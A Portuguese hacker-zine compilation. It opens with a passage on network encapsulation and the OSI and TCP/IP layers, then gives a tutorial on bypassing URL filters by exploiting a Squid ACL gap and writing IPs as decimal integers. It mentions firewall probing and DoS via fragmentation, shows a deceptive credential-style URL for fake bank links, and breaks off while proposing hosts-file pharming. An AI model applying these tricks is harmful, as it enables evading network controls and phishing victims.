rede deve inserir o pacote dentro de um quadro, eh este quadro que permite
a conexão com o proximo dispositivo da rede conectado diretamente no link.
Os dispositivos no caminho (Ateh o destinatario final do pacote) requerem
um enquadramento de forma que eles consigam conectar-se nos proximos pontos
de pasagem.

* 1 * - Física -> Em um modo bem grosseiro de se falar podemos dizer que
eh aqui que a porca torce o rabo :P eheh. Diz respeito a parte fisica da rede,
quando digo fisica pode pensar em eth0 (Ethernet) e tals. Nesta camada que
o dado (QUADRO) que sera enviado, vai ser convertido em bits, o quadro deve
ser convertido em um padrão que eh de 1's e 0's (Binarios) e dependendo do meio
fisico da rede, os sinais podem ser transmitidos como pulsos eletricos
sequenciais (Ethernet), no caso de wireless --> Transmissão de dados via
sinais de radio, se for em um meio ótico os dados seguem como sinais
luminosos e assim por diante.


Seguindo o que foi visto anteriormente podemos dizer então que o processo
de encapsulamento ocorre da seguinte forma:

------------------
Segmentar os dados
------------------
|
------------------
Enpacotar para
transporte.
------------------
|
------------------
Endereçamento (IP)
Add End de rede ao
header.
------------------
|
------------------
Camada de enlace
------------------
|
------------------
Converter dados em
bits.
------------------


Leitura do pacote na maquina destino

Quando um pacote bate na placa de rede do host remoto, acontece
o processo inverso do encapsulamento, ou seja, os modulos retiram
os headers e empurram o pacote pilha acima ate fazer com que o
payload seja lido por uma determinada aplicação rodando na maquina.

Alguns Terminhos

Aproveitando gostaria de falar sobre uns termos importantes de voce
saber, parece algo hardcore underground mas naum eh, sao termos que
apesar de parecerem coisas de outro mundo são bem simples de se
absorver. Exemplo:

Quando a comunicação entre dois hosts eh dada atravez de uma rede
Ethernet, o nome do pacote vai se chamar 'Frame Ethernet'. Quando
a camada de transporte diz que o pacote vai ser enviado se utilizando
de UDP ai chamamos o pacote de datagrama, eh uma confusão só. O
povo poderia chamar de pacote tudo que andase por ai ehehe. Ah!
Quando emitimos um pacote... ou datagrama, sendo um Frame Ethernet
(ehehe) ou não, todas as maquinas por onde esse pacote chegar a passar
até alcançar seu destino final vão ser chamadas de ponto de passagem,
ponto =).

Se aprofundando mais nos terminhos

Drive de dispositivo -> Software que se comunica diretamente com a
interface de rede (por exemplo). Nossa, quanta coisa vaga, estou me
sentindo mal, serio mesmo... Vamos lá, nao vou deixar de passar
informação por preguiça.

==================

Drive -> O termo Drive, ou como os caras falam em portugal -> acionador <-,
podem ser usados para se referir a dispositivos[oO] como CD-ROM, etc.
Drives nada mais são que mecanismos que permitem a leitura de determinadas
midias (por exemplo), exemplo: Um drive de disquete eh um mecanismo que
pode fazer leitura de um disco magnetico (disquete), entendeu? Podemos
chamar inclusive HD's de drives, olha que legal, vai dizer que voce sabia? ehhe
Eh mais chiqui falar -> Meu acionador de DVD e tals ehehe <- (para se referir
a os mecanismos (drivers) capazes de fazer leitura de DVD's).

oO -> Podemos dizer que dispositivo eh a mesma coisa que periferico, não
amigo, nao estou me refirindo as periferias de Recife ou algo do tipo heheh,
periferico eh tudo que voce conecta no computador, como placas de rede
que passarão a ser chamadas de interface de rede (iface) após a sua inserção
na placa mãe. Impresoras são perifericos e muitas outras coisas, esse termo
eh usado para se referir a qualquer coisa que voce compra e que pode ser
inserido -> posteriormente <-, isso fazia mais sentido nos tempos antigos da
computação e tals, pq naquele tempo ja vinha tudo pronto e o cara ficava
só brincando de inserir coisas, mas como hoje em dia tudo pode ser comprado
separadamente o termo periferico passou a ser utilizado para se referir a tudo
que não seja 'Placa mãe', 'Processador' e 'Memoria'. Ja os dispositivos
são a mesma coisa, tipo, dispositivo eh tudo que voce de certa forma pluga no
PC, exemplo: a placa mãe eh um dispositivo, o mouse eh um dispositivo e etc.
Diferenciamos dispositivos de entrada e de saida ou ambos julgando o que eles
fazem. O teclado eh um dispositivo de entrada, o monitor eh um dispositivo de
saida, o router eh um dispositivo de rede (dã) e por ao vai.

==================

Drive de dispositivo -> Drivers de dispositivo são os "programas" que se
comunicam com a parte fisica no seu sistema, vai dizer que vc nunca precisou
dos drives da sua placa para rodar aquela musica e tals? Todo dispositivo
tem que ter alguma coisa que faça ele funcionar, para isso surgiram os...drives
de dispositivo!! ehhe Esses tais drives trabalham sobre o kernel do OS
(Operational System) servindo como tradutores, assim permitindo uma comunição
entre o periferico e o sistema operacional.

==================

Recaptulando: Frame Ethernet eh o nome dado a todo 'dado' (eheh) que
viaja pela internet por meio de uma rede Ethernet (eth0 e tals).

xxxxxxxxxxxxxxxxx
+ DATAGRAMA +
xxxxxxxxxxxxxxxxx

==============
IP/Internet Protocol
==============
UDP
==============
==============

Na verdade (TECNICAMENTE falando!) um datagrama eh a união do
modulo[oO] IP ao header (Também modulo =) UDP (que por sua vez
foi inserido na camada de transporte da pilha, no processo de
encapsulamento =) do pacote.

oO Modulo -> Modulo nada mais eh que um software que se comunica
diretamente com o drive de dispositivo (da interface de rede) que age no
kernel traduzindo instruções do periferico para o OS, lembram? O modulo
também se comunica com aplicativos de rede e outros modulos. Podemos
dizer então que o que faz as coisas acontecerem no encapsulamento de
dados são os tais modulos, siga a minha linha de raciocinio:

=====================
Modulo IP
=================
Modulo TCP ou UDP
=================
=====================

Vamos misturar as coisas?

Basicamente o modulo (software) se comunica com outro modulo e diz que
os dados apartir dali vao ser 'guiados' por UDP, o modulo abaixo não quer
saber o que aconteceu anteriormente com o pacote, ele apenas inseri o
cabeçalho IP no pacote. Voces se lembram que um modulo eh capaz de se
comunicar com outro e ainda consegue se comunicar com os drives de
dispositivo? Aham! Voces estaum entendendo, isso mesmo que voce esta
pensando, um modulo ( Aplicação ) diz para outro modulo ( Transporte )
que diz pro outro ( Internet ) que por sua vez vai se comunicar nao
com outro modulo, mas sim com o drive de dispositivo que como todos
sabemos -> Comanda o dispositivo <-... Placa de rede. Esse ultimo processo
(Comunicação entre modulo e drive de dispositivo) ocorre entre a camada
de Rede e a camada de enlace, que eh a camada responsavel por entregar os
pacotes as interfaces da vida...^^ Então podemos dizer que os drives ficam
nesta camada (Enlace =).

Aposto que ficou confuso porque eu misturei nomes de camadas dos dois modelos,
mas agora que voce realmente vai entender, não precisa ficar confuso porque eh
"exatamente" isso que ocorre. O processo acima eh o processo padrão para ambos
os modelos. A unica diferença eh que no TCP/IP algumas camadas do modelo OSI
foram transformadas em funções, assim reduzindo o modelo a apenas 4 camadas, ou
seja, onde eu disse camada de 'Rede' - OSI, nada mais seria do que a camada
'Internet' e para representar a camada de 'Enlace' bastaria eu dizer apenas
'Acesso a rede'.

Siga minha linha de raciocinio companheiro....

OBS: Para uma melhor visualização da ilustração abaixo utilize algum Browser e
visualize com tamanho de texto 'Normal'.


OSI TCP/IP
-------------------------------------------------------------
- Aplicação - Aplicação
Criação de payload Criação de payload,
conversão, controle
de comunicação.
-------------------------------------------------------------
| |
-------------------------------------------------------------
- Apresentação - Transporte
Conversão para TCP ou UDP
transporte do dado
-------------------------------------------------------------
| |
-------------------------------------------------------------
- Sessão - Internet
Estabelecimento Add Header IP
de conexão e
controle d comun
icação.
-------------------------------------------------------------
| |
-------------------------------------------------------------
- Transporte - Acesso a rede
TCP ou UDP Drive de dispositivo.
Conversão de quadro e
envio de dados.
-------------------------------------------------------------
| |
-------------------------------------------------------------
- Rede
Add Header IP
------------------
|
------------------
- Enlace
Drive de dispositi
vo.
------------------
|
------------------
- Física
Exemplo: Eth0.
Conversão de
quadro e envio d
dados.
------------------

Viram? Eh a mesma coisa! Soh que no modelo TCP/IP as coisas foram englobadas.

Os drivers de dispositivos dizem para a camada fisica da pilha
(interface de rede) chutar a bunda do pacote (rsrs). Apartir dai
o pacote ou datagrama ou segmento TCP que pode estar ou nao
sendo trafegado como um Frame Ethernet, eh enviado... Ufa!

xxxxxxxxxxxxxxxxx
+ Segmento TCP +
xxxxxxxxxxxxxxxxx

==============
IP/Internet Protocol
===============
TCP
===============
==============

Se os dados que serão enviados pela internet afora foram encapsulados
de maneira que a camada 'Internet' - TCP/IP (Rede - OSI) inseriu o
cabeçalho IP sobre o header -> "TCP" <- (camada de 'Transporte'), então
podemos dizer que este dado eh um Segmento TCP que pode ou não ser
transportado como um Frame Ethernet...:)

Mais uma ilustração para concretizar tudo.

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Recepção do pacote no nost remoto
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Vejam essa ilustraçao:

-------------------------
Aplicações de rede
Payload/Dados
-------------------------
Modulo
TCP - UDP
-------------------------
------------------------- > ARP - Addres Resolution Protocol
Modulo IP
-------------------------
Interface de rede
-------------------------


OBS: POR HORA VAMOS FINGIR QUE O PROTOCOLO ARP
NÃO EXISTE, PARA NÃO RETIRAR O FOCU PRINCIPAL
DESTE DOCUMENTO.

Nao se esqueçam que os modulos também se comunicam com
aplicativos de rede, que nada mais são que programas que fazem
as requisições de conexão, como browsers, clientes de FTP, POP,
clientes de trojans, etc....:) Lembrando que as aplicações não apenas
fazem requisições, também ficam esperando as tais...Sacou? =)
Os aplicativos de rede se comunicam com os modulos apenas para
lhes entregar as requisições ou para receber as requisições que são
trazidas pelos modulos no caso do recebimento. O transporte de dados
funciona de maneira linda, como uma mae entregando seu filho nos
braços de uma segunda mãe logo apos beija-lo, deixando uma marca
que será vista e entendia pela proxima mae até que a criança chegue ao
seu destino. Esse processo maravilha qualquer seguidor da mãe Internet,
'Hacker'.... Underground claro :)

O modulo que eh mais conhecido dos aplicativos de rede
obviamente que eh o modulo de transporte para quem envia e para
quem tem uma aplicação esperando do outro lado, pois eh a camada
mais proxima das aplicações de rede -> No protocolo TCP/IP...:)

Xauzin.

Aham!!!! Acharam que eu ia deixar voces com um conhecimento tão fraquinho
como esse? Hum... O que voces pensam que eu sou? Um kiddie? Vamos
proceguir mais um pouquinho, pois quero aproveitar a deixa para lhes
alertar sobre um perigo muito grande e que ninguem "ou quase ninguem"
consegue ver.

O perigo mora ao lado... ninguem consegue ver.

Como todos sabemos não existe apenas um protocolo de rede, ou seja, nem sempre
em uma rede apenas quem fala eh soh o Joãozinho ou apenas a Maria, para as maquinas
não ficarem birutas elas precisam saber que tipo de protocolo aquele determinado dado
utiliza, então podemos julgar que eh importante no encaspulamento de dados a inserção
de um indentificador de protocolo, para as maquinas receptoras saberem em que time
aquele dado joga. Um pacote eh trasmitido em forma de bits, ou seja, o nó[oO] de rede
chuta o pacote e apartir dai o mesmo vai ser transmitido pelo cabo de rede como pulsos
eletricos sequenciais, blá blá blá, blá blá, etc. Agora o negocio vai ficar + claro.

oO -> Podemos chamar de nó de rede qualquer dispositivo conectado em alguma
rede que possua um endereço proprio para a identificação do mesmo nesta rede.

Mais sobre pacotes

Ja sabemos que "um dos MUITOS" dados que um pacote precisa para trafegar na rede
eh o ID de protocolo, para ajudar na "desmultiplexacao" na maquina receptora.
Além do ID (ou PID) do pacote, devemos dizer quantos bits nosso amigo vai ter em cada
"seção". Vamos dizer que meu pocote imaginario disponibiliza um ID de 16 bits =)... Ei,
como a maquina receptora vai saber quem enviou o pacote? Como o pacote vai saber onde
ele tem que ir? Ae que está meu fio, ja temos então 3 seções que são:

ID do protocolo | Endereço de origem | Endereço de destino

As duas ultimas com 32 bits cada (....:). Voces se lembram em qual camada os campos:

-> Endereço de origem <- e -> Endereço de destino <- são inseridas ao header
anterior? Se voce respondeu -> Rede <-, ganhou um beijinho (Que baitolagem :P).
Mas porque? Voces lembram que o protocolo IP eh responsavel por rotear os
pacotes na internet? Acho que voces lembram que ele eh enserido ao header TCP
ou UDP do pacote na camada de 'Internet' (Rede), no cabeçalho IP que estão
contidas as informações de endereço de origem e de destino (Essas duas seções
de 32 bits cada -> no nosso exemplo ^^). Nosso pacote tem um id de 16 bits + 32 para
endereço de origem e + 32 para endereço de destino = 80. Vamos somar esses 80 bits
com o payload que vamos dizer aqui que tenha 60 bits, isso eh igual a 140 bits. Agora
vamos somar esses 140 bits a um terminador que eh usado para marcar um fim de uma
mensagem, esse terminador deve ser a ultima coisa da mensagem, em todos os
protocolos esse terminador existe. Então vamos dizer que ele possui 1 byte (...:).

ID -> 16 bits.
End origem -> 32 bits.
End destino -> 32 bits.
Payload -> 60 bits.
Terminador -> 1 byte = 8 bits.

Total: 148 bits. Voce deve estar se perguntando porque eu to contando essa joça direto.
Bem, existe um troço chamado MTU - Maximum Transmission Unit, ou, Unidade de
Transmissão Maxima, o que esse troço faz eh basicamente definir uma unidade de
transmissão maxima (Olha que original) da rede, caso o pacote ("unidade") enviado
por nos tendo como destino a rede alvo, for maior que a unidade de transmissão
maxima (...:) pemitida pela rede alvo, então ocorre ai a tal da fragmentação, q faz com
que o pacote seje fragmentado (dã). Aqui está onde queria chegar moçada!!
Alguns firewalls são falhos quando alguem que eh profissional sabe lidar com
fragmentação, ou seja, -> Fear me <-. Com essa técnica voce pode fazer muitas coisas
amigo. Para quem domina a fragmentação o uso mais comum da mesma sem duvida
nenhuma eh o famoso DoS, bem, julgando pelos membros do grupo no qual tenho o
prazer de -> chefiar <- :-)

Importante - Ferramenta excelente

Existe uma ferramenta que eu minha mais que sincera opinião, eh a melhor ferramenta
para se determinar regras de filtragens de firewalls, com esta ferramenta e o bendito
conhecimento da tal fragmentação, nos podemos determinar regras de qualquer firewall
do planeta terra. Esta ferramenta se chama -> Hping. Sem duvida amigo, vale muito vc
aprender mais sobre esta ferramenta (Juntamente com a tecnica de fragmentaçao).
Brevemente

 
estarei escrevendo para o ISTF uma super materia de fragmentação, não
percam... Por hora tentem buscar informações avançadas sobre esse assunto na internet
a fora, pois aqui o que ta rolando eh o encapsulamento ;) So quiz abrir os olhos de
vcs e de certa forma nao disvirtuei a proposta original deste paper.

Nossa, cancei, mas estou com a alma lavada porque acho que fiz voce pensar sobre
essa historia de fragmentação de pacote (Estude amigo!! Essa técnica vale!!).
Existem muito mais coisas, soh deus sabe o que um programador de raw socket sofre,
por isso vamos continuar falando sobre o "Basico" (so pra variar) depois.

Lembre-se: Elit3 sempre procura saber "todos os detalhes" 'de tudo' [-.0]

by

6_Bl4ck9_f0x6 - Viper Corp Group




+=============X=x=X=================+
* CORPORACAO VIBORA *
* xXx *
* Hail ao Hacking Nacional! *
+=============X=x=X=================+

***************************
* Burlando Filtros de URL *
***************************


TEXTO ESCRITO ORIGINALMENTE PARA A COMUNIDADE
LUZINHA Eh A MAIOR

Link: http://www.orkut.com.br/Community.aspx?cmm=24957907



Access denied? Nunca mais manoh
Email: ratao666@hotmail.com


NOTA: Texto scrito em 2007 e editado em 29/3/2010 as 09:20


------=[ Indice


[1]. Starting...
[2]. Por que diabos voce ia querer saber isso?
[3]. Outra analogia e iniciando
[4]. Comecando a destruicao - Colocando bomba na mao de terrorista ;)

[5]. A MATEMATICA DAS REDES

5.1 Converter decimal para binario
5.2 Converter binario para decimal
5.3 Encodando nosso IP

[6]. Encodando IP no metodo Super Mega Ultra Giga Detr0yer Hardcode
Undeground l33t p0t3nt3.

[7]. Lamahl Stuff [Piadinhas de lamah]
[8]. Confundindo lamah. Pharming com IP encodado.
[9]. Nao consegui arrumar um titulo para esse capitulo.

[10]. Burlando projetos de acesso livre a internet feitos pelo governo brasileiro
[11]. Adios amigos


1 - Starting...

The Bug is on the table. Meu ingles vagabundo estah cada dia menos vagabundo oO Bem, isso
nao pode ser considerado um bug, mas podemos passar por filtros de 'URL' com essa tecnica
super 3l1t3, pois me parece que ninguem consegue ver que um endereco IP nada mais eh que
um endereco DECIMAL INTEIRO de 32 bits. OO Deus do ceu, que surpresa...:) Agora -> Smile .
Obvio q vc naum vai sempre conseguir passar pelos tais filtros da vida pq existem cabras
bons in the World, mas para cada "cabra bom", temos 666 que nao sao.


+----------------------------------------------+
|2 - Por que diabos voce ia querer saber isso? |
+----------------------------------------------+

Nao sabe o que eh burlar filtro de URL? Kramba. Voce naum tem nocao do que isso pode lhe
traZer de bom? Kcete. Vamos a uma analogia? Vc esta no seu emprego entediado e com net a
sua disposicao e tenta acessar uma URL mais ou menos parecida com essa:

http://www.SexAndSubmission.com

Repare que nesta URL existe a palavra "Sex" e por esse mesmo motivo a requisicao pode ser
descartada la no servidor proxy que vc ta usando. O filtro pode funcionar de maneira
inteligente, abrindo os headers e comparando as palavras proibidas em sua ACL, ao ASCII
encontrado dentro dos payloads dos pacotes que trafegam na intranet, ou alguem pode ter
configurado o software de filtro de URL basendo-se pelo endereco IP do dominio. Ainda
existe a possibilidade de bloquearmos um determinado site pelo seu DNS EM UM MODO GERAL
e ate um dominio todo, como o Squid que nos permite restringir um dominio inteiro apenas
com simples instrucoes, use o parametro 'dstdomain' (Destination Domain) para executar
tal restricao, assim bloqueando o acesso a todas as sub-paginas. Um exemplo:

--- cut here ---

acl Acc3ss dstdomain SexAndSubmission.com
http_access deny Acc3ss

--- cut here ---

OBS: O Squid eh um dos melhores servidores proxy existente hoje,
isso significa que vale muito voce gastar umas horinhas
mechendo nele... estude manoh! ;)

Enfim, de todo jeito eh problema... Sera mesmo??? Mas porque eu expliquei como configurava
uma pequena restricao de dominio com o Squid se esse tutorial eh sobre how to cheat URL
filter? Simples. Caso voces nao saibam, nos metidos a 'Extreme Hackus' sempre nos aprovei-
tamos de vacilos humanos para podermos trabalhar, necessitamos em uma grande parte das
vezes que alguem cometa um erro e ateh mesmo induzimos nossas vitimas a fazer oq queremos
sem mesmo trocar umas ideias com ela (Morticia, valew pelos toques gata). Bem, creio que
seja de conhecimento geral por parte dos leitores deste paper, o q poderia vir a ser o tal
do WWW (World Wide Web -Larga Teia Mundial), ou seja, sabemos que existem sites que podem
ser acesados com o uso do WWW e sem o uso do mesmo. Para o nosso amigo proxy (Squid) a
URL www.SexAndSubmission.com e diferente d SexAndSubmission.com.

Tabom, e dai? Simples, essa ACL que foi anteriormente configurada apenas restringe o acesso
ao host SexAndSubmission.com, mas deixa a URL www.SexAndSubmission.com livre... Agora -> :)
Existe centenas de falsos profissionais de seguranca (Como os Burgueses cheios de certifi-
cacoes nos chamam) que nao possuem conhecimento disso, conheco um cara que trabalha com o
Squid a um tempao e naum sabia disso, quando eu mostrei o macete ele disse: krak };P.
Nos autodidatas sofremos amigo, nao temo$ incentivo para faculdade e nem para certificacoes
e por isso temos q nos virar p/ aprender os detalhes, ou seja, eh como li por ae: "Pequenos
detalhes, grandes diferencas."
.

Deveria ficar assim:

--- cut here ---

acl Acc3ss dstdomain SexAndSubmission.com www.SexAndSubmission.com
http_access deny Acc3ss

--- cut here ---

Existem centenas de filtros de URL "Furados" por ai, passar por eles eh coisa de crianca,
creio que esse pequeno detalhe com o squid possa vir a ser util para voce algum dia amigo ;)


+-------------------------------------+
|3 - Outra analogia e iniciando |
+-------------------------------------+


Voce quer acessar o orkut ou algum site de putaria bizonha e nao pode.


+--------------------------------------------------------------------+
|4 - Comecando a destruicao - Colocando bomba na mao de terrorista ;)|
+--------------------------------------------------------------------+

Acho que voces ja devem estar cansados de saber que a menor unidade de armazenamento de dados
de um computador eh um tal de bit, q quando agrupado em oito forma um byte (8 bits = 1 byte).
De certa forma devo crer que vc deva saber o q eh um binario (Cada digito na base binaria eh
chamado de BIT - Binary DigIT), caso contrario nao deveria estar lendo esse paper, seu lamah,
mas tem uma nocao boa do que deva ser esse tal binario, mas por falta de tempo, NAO por falta
de interesse, vc "ainda" nao leu aquela sua documentacao oficial p/ a certificao cisco. Entao
esse texto foi feito para voce amigo, vou lhe ensinar como calcular o negocio para obter o
que queremos. Vamos ao segredo? O negocio rola da seguinte forma mano: Quando acesamos um de-
terminado site e nao obtivemos resposta do host, ou quando temos como resposta um aviso de
restricao, significa q, muito provavelmente deve existir 1 tabelinha de IP's sendo proibidos
p/ os usuarios de dentro da rede interna, mas... Veja o formato d 1 IP normal:

Octetos: 189 . 17. 34. 2
Bits: 8 8 8 8
Bytes: 1 1 1 1

Sao esses 4 octetos que estao sendo proibidos, mas... e c utilizarmos o formato IP decimal
inteiro? Serah que a requisicao vai passar pelo filtro? Hummm. Uma pequena pausa para a
meditacao ninja... Ae voce diz:


"Ei ei ei! Ninguem vai lembrar de configurar o filtro para restringir IP's em formato
decimal inteiro, isso!!! Nao custa nada tentar ;)"


Pouco tempo depois voce esta dizendo:

"Bingo, passei pelo filtro kcete!"


+---------------------------------+
|5.0 - A MATEMATICA DAS REDES |
+---------------------------------+


Bem, vamos supor que quermos acessar o site:

http://www.darkers.com.br

Que por sinal eh uma merda de forum. Vamos supor que este site atende pelo IP: 189.17.34.2
Reparem quantas referencias :) Para convertermos esse numero em decimal inteiro, primeira-
mente devemos converter cada octeto desse endereco em binario. Vamo ver isso ae manoh.


+------------------------------------+
|5.1 - Converter decimal para binario|
+------------------------------------+

Bem, para converter um numero decimal para seu binario eh muito facil, basta voce dividir o
numero que quer converter por '2' e em seguida voce pega o resultado e continua dividindo
por dois ateh chegar em '0'. Lembre-se: Sempre que sobrar resto coloque 1 e caso contrario
coloque 0. Ah! Nao divida os restos. Vamos a pratica.

Vamos encontrar o binario de 127?

1) 127/2 = 63,5 1 ^
2) 63/2 = 31,5 1 |
3) 31/2 = 15,5 1 |
4) 15/2 = 7,5 1 |
5) 7/2 = 3,5 1 |
6) 3/2 = 1,5 1 |
7) 1/2 = 0,5 1 |
|
|
+--> Nao divida esses restos por favor.

8) Acrescente um 0 a esquerda deste resultado para completar 1
byte...:) Devera ficar assim:

01111111 = 127

Repare que o ultimo resultado binario do ultimo numero dividido, vai ser o primeiro quando
formos montar o binario completo. Obvio que vc pode contar com esse 0 q eu pedi p/ vc colocar
dpois..:) Esse '0' ALEM de servir para completar um byte, assim deixando o binario com + cara
de binario (smile ;), eh FUNDAMENTAL para a conversao de binario para decimal, no qual temos
q ter os 8 bits. Lembrando que nesse caso em especial naum conseguimos obter os 8 bits na
divisao, mas nem sempre e assim, ou seja, nem sempre serah 7 o numero de binarios finais. Ca-
so falte algun bit para alcancar um byte, acrescente '0' sempre a ESQUERDA do resultado e
seja feliz. Sem duvida vale muito vc lembrar da insercao do mesmo.


+------------------------------------+
|5.2 - Converter binario para decimal|
+------------------------------------+

Para converter binarios para decimal eh tao facil que chega a dar raiva. Primeiramente colo-
que de traz pra frente o binario a ser calculado.

Exemplo.:

127: 01111111 -> Antes
11111110 -> Depois

Agora que ja temos o numero montado basta apenas repetir cada bit, multiplicar pela base 2,
elevar o resultado da multiplicacao a uma potencia em ordem crescente apartir de 0, para
ao termino da elevacao da potencia finalmente podermos somar os resultados. Very Easy Baby.
Vamos ver como eh isso manoh.


Atencao: Tente reparar na sequencia dos expoentes...:)

Exemplo:

1 1 1 1 1 1 1 0
1*2^0 1*2^1 1*2^2 1*2^3 1*2^4 1*2^5 1*2^6 0*2^7
1 2 4 8 16 32 64 0
| |
| |
| v
| Todo numero elevado a potencia de 1 eh igua a ele mesmo... dã!!
v
Todo numero (que nao for 0 =) elevado a 0 eh igual a 1. Lembram???


---==x===X===x==------

OBS: [Isso -> '^' quer dizer que o negocio que ta rolando eh potencia ^^]

---==x===X===x==------

Binario l1k3: 1 1 1 1 1 1 1 0
Decimal Rulez: 1*2^0 1*2^1 1*2^2 1*2^3 1*2^4 1*2^5 1*2^6 0*2^7
Total: 1 + 2 + 4 + 8 + 16 + 32 + 64 + 0 = 127 Agora smile!


Dica:

Essa dica eh meio obvia mais para quem ainda nao sacow vai ser uma boa manoh. Simples, repare
que existe um sequencia de valores positivos neste binario ae em cima ('1111111' 0), isso
significa que voce apenas precisa saber o resultado da potencia do segundo item a ser
calculado, para ir duplicando o mesmo no resultado das potencias vizinhas, mas esse macete
naum funfa apenas p/ sequencia binaria positiva, tipo, esse esquema eh otimo para voce saber
o resultado de uma potencia quando o expoente estiver bem elevado e nao existir mais nenhuma
sequencia de binario positivo, basta ir somando os results como c voce estivese elevando uma
potencia de bit positivo (Caso ele nao exista =), ou seja, contando com os binarios nulos,
assim quando voce chegar a uma potencia que tenha uma base positiva ja vai saber o resultado,
assim poupando seu tempo, ao invez de fazer o que apenas estupidos fazem:

Calcular coisas previZiveis ...:) Vamos a um exemplo pratico do que eu estou falando
utilizando o numero 139.

1) 139/2 1
2) 69/2 1
3) 34/2 0
4) 17/2 1
5) 8/2 0
6) 4/2 0
7) 2/2 0
8) 1/2 1

10001011 = 139

10001011 -> Antes
11010001 -> Depois

1 1 0 1 0 0 0 1
1*2^0 1*2^1 0*2^2 1*2^3 0*2^4 0*2^5 0*2^6 1*2^7
1 2 0 8 0 0 0 128 = 139

| | | | | | |
| | | | | | |
| V V V V V /|\
| +---+ +---+ +----+ +----+ +----+
| | 4 | | 8 | | 16 | | 32 | | 64 | + 64 = 128
| +---+ +---+ +----+ +----+ +----+
|
|
+--> Comece duplicando esse valor.


Viram? Funciona. Eu sou foda...:) Ah Pra quem nao sabe na linguagem binaria o [1] quer
dizer verdadeiro e [0] quer dizer falso, mas aqui eu estou chamando o '1' de positivo
e o '0' de nulo...:)

+------------------------------------+
| 5.3 - Encodando nosso IP |
+------------------------------------+

Eh garoto, lembrando que podemos usar este conhecimento de conversao de bits
para encodarmos alguma URL falsa...:) Como nesse caso abaixo ^^:

http://www.BancoDoHacku:password@2130706433:8080/PATH/index/HACKU_BANK?Opts

Mas porque eu apenas falei isso agora? Porque acho q vcs ja sabiam e pq nao
faco apologia a lammers nos my txt's, deixo o bom sempre p/ o final e deixo
o + tecnico no comeco que eh para canSar eles e elas...:) Resumindo: Se vc
chegou ateh aqui, agora tem essa informacao...:) Vamos para o 'Sal' galera,
agora que ja temos os octetos do IP devidamente convertidos em binarios,
vamos transformar o grande binario restante em Decimal.

01111111000000000000000000000001 -> Antes
10000000000000000000000011111110 -> Depois


Primeiro octeto:

1 0 0 0 0 0 0 0
1*2^0 0*2^1 0*2^2 0*2^3 0*2^4 0*2^5 0*2^6 0*2^7
1 0 0 0 0 0 0 0

Segundo octeto:

0 0 0 0 0 0 0 0
0*2^8 0*2^9 0*2^10 0*2^11 0*2^12 0*2^13 0*2^14 0*2^15
0 0 0 0 0 0 0 0

Terceiro octeto:

0 0 0 0 0 0 0 0
0*2^16 0*2^17 0*2^18 0*2^19 0*2^20 0*2^21 0*2^22 0*2^23
0 0 0 0 0 0 0 0

Quarto octeto:

1 1 1 1
1*2^24 1*2^25 1*2^26 1*2^27
16.777.216 33.554.432 67.108.864 134.217.728

1 1 1 0
1*2^28 1*2^29 1*2^30 0*2^31
268.435.456 536.870.912 1.073.741.824 0


Resultado: 2.130.706.433


Ei caras... Voces naum querem usar uma calculadora naum?? O windows e Linux
possuem otimas calculadoras cientificas :P

Octetos: 127 . 0 . 0 . 1
Binarios: 01111111 00000000 00000000 00000001
Grande bin: 01111111000000000000000000000001 -> 32 bits, 1 Byte.
Resultado: 2130706433

Acesse:

http://2130706433


Como isso eh legal :P rsrs. Vamos tentar agora usando a calc? Blz.

+-------------------------------------------------------------------------+
|6 - Encodando IP no metodo Super Mega Ultra Giga Detr0yer Hardcode |
| Undeground l33t p0t3nt3. |
+-------------------------------------------------------------------------+

Ei ei ei, voce naum sabe usar uma calculadora cientifca? Putz, ta mal eim vei. Mas vamos
lah. Vamos converter esses 4 octetos aqui:

192 . 168 . 1 . 1

Na shell voce digita 'calc' e tchanram. Apos ela aberta va em 'Exibir' -> Cientifica. Aee!!
Vc eh um Hackao da elite! Agora marque a caixa de selecao onde esta escrito Dec (Windows),
muito provavelmente vc ja vai sair lah, mas... Por alguma razao voce estah empolgado por
estar usando uma calculadora cientifica pela primeira vez na vida e fez M3rda logo na pri-
meira vez (Como eu fiz na minha primeira ;). Entao ceritique-se de que o baguizinho ta na
checkbox 'Dec'. Ae digite o primeiro octeto do IP (192). Agora marque a caixa d selecao ond
estah escrito 'Bin', Aeeee!! Vc tem um resultado! Aqui em ksa deu 11000000. Vamos converter
os outros octetos? Pula p/ 'Dec' e escreve 168 e vai para 'Bin', Aeee!! Olha soh, olha soh,
ta viciando garoto! Aqui deu isso: 10101000. Obvio que 1 vai dar 1, veja o porque:

+------------------------------------+
|'Dec' for 'Bin'<-+->'Bin' for 'Dec' |
+------------------------------------+
| | 1 | <-----------+
| 1/2 = 0,5 -> 1 | 1*2^0 | |
| | 1 | + --> Entendeu? Claro :)
+------------------------------------+ |
^ |
| |
+----------------------------------------+


Coloca 1 em 'Dec' e vai pra 'Bin', vera que voce vai ter apenas um unico bit, mas voce precisa
de 8 deles, o que voce faz? Lembram do esquema de completar com 0's a esquerda pra formar um
byte? Humm... Faca isso cara, vc eh um genio! 00000001. O ultimo octeto tambem eh 00000001. A-
gora va lah em 'Bin' e escreve esse binario todo:

11000000101010000000000100000001

Agora mude para 'Dec' e corra para o Abraco, de sua mina...:) Aqui deu 3.232.235.777 que nada
mais eh que 3232235777. Veja a tabelinha abaixo:

+----------------------------------------------------------+
|Octetos: 192 . 168 . 1 . 1 |
|----------------------------------------------------------|
|Convertido: 11000000 . 10101000 . 00000001 . 00000001|
|----------------------------------------------------------|
|Binarios: 11000000101010000000000100000001 -> 32 bits.|
|----------------------------------------------------------|
|Resultado: 3232235777 |
|----------------------------------------------------------|
|Uso: http://3232235777 |
+----------------------------------------------------------+


+--------------------------------------+
|7 - Lamahl Stuff [Piadinhas de lamah!]|
+--------------------------------------+

Nao me entendam mal, eu nao quiz dizer isso:

1
1*2^4

Nao ELEVEM A POTENCIA DE QUATRO ("nesse sentido"), pois pode dar dores
nas costas oO Tabom tabom, foi sem graca mas eu tentei...:)


Citar:

8) Acrescente um 0 a esquerda...

Eu naum estava me referindo aquele seu amigo chato :)


+---------------------------------------------+
|Confundindo lamah. Pharming com IP encodado. |
+---------------------------------------------+

Bem, vc ta afim de contaminar o arquivo de resolucao de enderecos q eh utilizado inclusive
por browsers, estou falando do 'hosts', mas vc nao quer q aquele lamah imprestavel pegue o
teu IP, p/ depois ele num sair dizendo para os outros que te pegou, entao p/ vc nao ficar
puto e querer matar ele!! }-) Vc simplesmente encoda seu IP, pois ele nem vai saber do que
